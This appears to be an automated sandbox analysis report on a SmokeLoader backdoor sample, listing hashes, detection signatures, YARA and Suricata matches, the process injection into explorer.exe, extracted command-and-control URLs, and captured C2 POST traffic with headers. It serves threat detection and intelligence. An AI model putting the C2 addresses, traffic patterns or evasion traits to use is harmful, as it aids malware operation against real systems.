Edit tour

Windows Analysis Report
Qi4Mj8hG3t.exe

Overview

General Information

Sample name:	Qi4Mj8hG3t.exe renamed because original name is a hash value
Original sample name:	72eec8bbc11e7e184649111b6be19f254b54e1b1f955cf12b7bdcbe7a6c208c0.exe
Analysis ID:	1496328
MD5:	61c79ecb54722978e1cce297f460ae1c
SHA1:	4e71999fe652445c0ce2e14285a8d89d744fa163
SHA256:	72eec8bbc11e7e184649111b6be19f254b54e1b1f955cf12b7bdcbe7a6c208c0
Tags:	45-66-231-202CoinMinerexe
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sigma detected: Execution of Suspicious File Type Extension

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

Qi4Mj8hG3t.exe (PID: 6432 cmdline: "C:\Users\user\Desktop\Qi4Mj8hG3t.exe" MD5: 61C79ECB54722978E1CCE297F460AE1C)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

hehbwci (PID: 2912 cmdline: C:\Users\user\AppData\Roaming\hehbwci MD5: 61C79ECB54722978E1CCE297F460AE1C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://valarioulinity1.net/index.php", "http://buriatiarutuhuob.net/index.php", "http://cassiosssionunu.me/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1830577442.00000000025CF000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x31f1:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.2104950353.0000000002470000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.2104950353.0000000002470000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.2104992060.0000000002491000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.2104992060.0000000002491000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1830761735.0000000003F51000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1830761735.0000000003F51000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.2105350044.00000000026BE000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x3029:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.2104904098.0000000002450000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.1829948690.0000000002460000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1829948690.0000000002460000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1829890745.0000000002450000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\hehbwci, CommandLine: C:\Users\user\AppData\Roaming\hehbwci, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\hehbwci, NewProcessName: C:\Users\user\AppData\Roaming\hehbwci, OriginalFileName: C:\Users\user\AppData\Roaming\hehbwci, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\user\AppData\Roaming\hehbwci, ProcessId: 2912, ProcessName: hehbwci

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 188.40.141.211

Timestamp:	2024-08-21T07:11:33.779685+0200
SID:	2039103
Severity:	1
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 188.40.141.211

Timestamp:	2024-08-21T07:11:59.918770+0200
SID:	2039103
Severity:	1
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 188.40.141.211

Timestamp:	2024-08-21T07:11:34.420305+0200
SID:	2039103
Severity:	1
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 188.40.141.211

Timestamp:	2024-08-21T07:12:00.295440+0200
SID:	2039103
Severity:	1
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Qi4Mj8hG3t.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://valarioulinity1.net/index.php	Avira URL Cloud: Label: malware
Source: http://buriatiarutuhuob.net/index.php	Avira URL Cloud: Label: malware
Source: http://selebration17io.io/index.phpl	Avira URL Cloud: Label: phishing
Source: http://cassiosssionunu.me/index.php	Avira URL Cloud: Label: malware
Source: http://selebration17io.io/index.php	Avira URL Cloud: Label: malware
Source: http://selebration17io.io/index.phpy	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\hehbwci

Avira: detection malicious, Label: TR/AD.SmokeLoader.nbtrk

Found malware configuration

Source: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://valarioulinity1.net/index.php", "http://buriatiarutuhuob.net/index.php", "http://cassiosssionunu.me/index.php"]}

Multi AV Scanner detection for domain / URL

Source: selebration17io.io	Virustotal: Detection: 16%	Perma Link
Source: http://valarioulinity1.net/index.php	Virustotal: Detection: 14%	Perma Link
Source: http://buriatiarutuhuob.net/index.php	Virustotal: Detection: 15%	Perma Link
Source: http://selebration17io.io/index.php	Virustotal: Detection: 14%	Perma Link
Source: http://cassiosssionunu.me/index.php	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\hehbwci	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Roaming\hehbwci	Virustotal: Detection: 81%			Perma Link

Multi AV Scanner detection for submitted file

Source: Qi4Mj8hG3t.exe	ReversingLabs: Detection: 65%
Source: Qi4Mj8hG3t.exe	Virustotal: Detection: 81%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\hehbwci

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Qi4Mj8hG3t.exe

Joe Sandbox ML: detected

Source: Qi4Mj8hG3t.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Qi4Mj8hG3t.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49736 -> 188.40.141.211:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 188.40.141.211 80

Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://valarioulinity1.net/index.php
Source: Malware configuration extractor	URLs: http://buriatiarutuhuob.net/index.php
Source: Malware configuration extractor	URLs: http://cassiosssionunu.me/index.php

Source: Joe Sandbox View

IP Address: 188.40.141.211 188.40.141.211

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nhivofhdrhfmn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rthqivmpffucvlrr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 142Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rgfwevugokr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 341Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wdxggolynru.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 173Host: selebration17io.io

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: selebration17io.io

Source: unknown

HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://nhivofhdrhfmn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: selebration17io.io

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 7Content-Type: application/octet-streamDate: Wed, 21 Aug 2024 05:11:33 GMTData Raw: 03 00 00 00 1f 3d 19 Data Ascii: =
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Wed, 21 Aug 2024 05:11:34 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 7Content-Type: application/octet-streamDate: Wed, 21 Aug 2024 05:11:59 GMTData Raw: 03 00 00 00 1f 3d 19 Data Ascii: =
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Wed, 21 Aug 2024 05:12:00 GMT

Source: explorer.exe, 00000001.00000002.2958133429.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1818830286.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000001.00000002.2958133429.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1818830286.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000001.00000002.2958133429.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1818830286.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000001.00000002.2958133429.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1818830286.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000001.00000002.2958133429.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000001.00000002.2966099831.000000000CA7C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://rthqivmpffucvlrr.net/
Source: explorer.exe, 00000001.00000000.1818126733.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1819606254.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000002.2959454522.0000000007F40000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000001.00000002.2966066593.000000000CA42000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2966488393.000000000E730000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2966453902.000000000E660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://selebration17io.io/index.php
Source: explorer.exe, 00000001.00000002.2966488393.000000000E730000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://selebration17io.io/index.phpl
Source: explorer.exe, 00000001.00000002.2966066593.000000000CA42000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://selebration17io.io/index.phpy
Source: explorer.exe, 00000001.00000000.1821052424.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2964173446.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000002.2958133429.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000002.2958133429.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000002.2964173446.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1821052424.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000001.00000000.1818830286.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1818830286.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1815214466.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2955742050.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2956717549.0000000003700000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1814342240.0000000001248000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000002.2960669138.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1818830286.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1818830286.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2960669138.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000002.2960669138.00000000096DF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1818830286.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000002.2958133429.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000002.2958133429.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 00000001.00000002.2964173446.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1821052424.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000002.2958133429.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1816269337.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: explorer.exe, 00000001.00000002.2964173446.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1821052424.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000001.00000002.2964173446.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1821052424.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1821052424.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2964173446.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000002.2964173446.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1821052424.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1816269337.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000002.2958133429.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
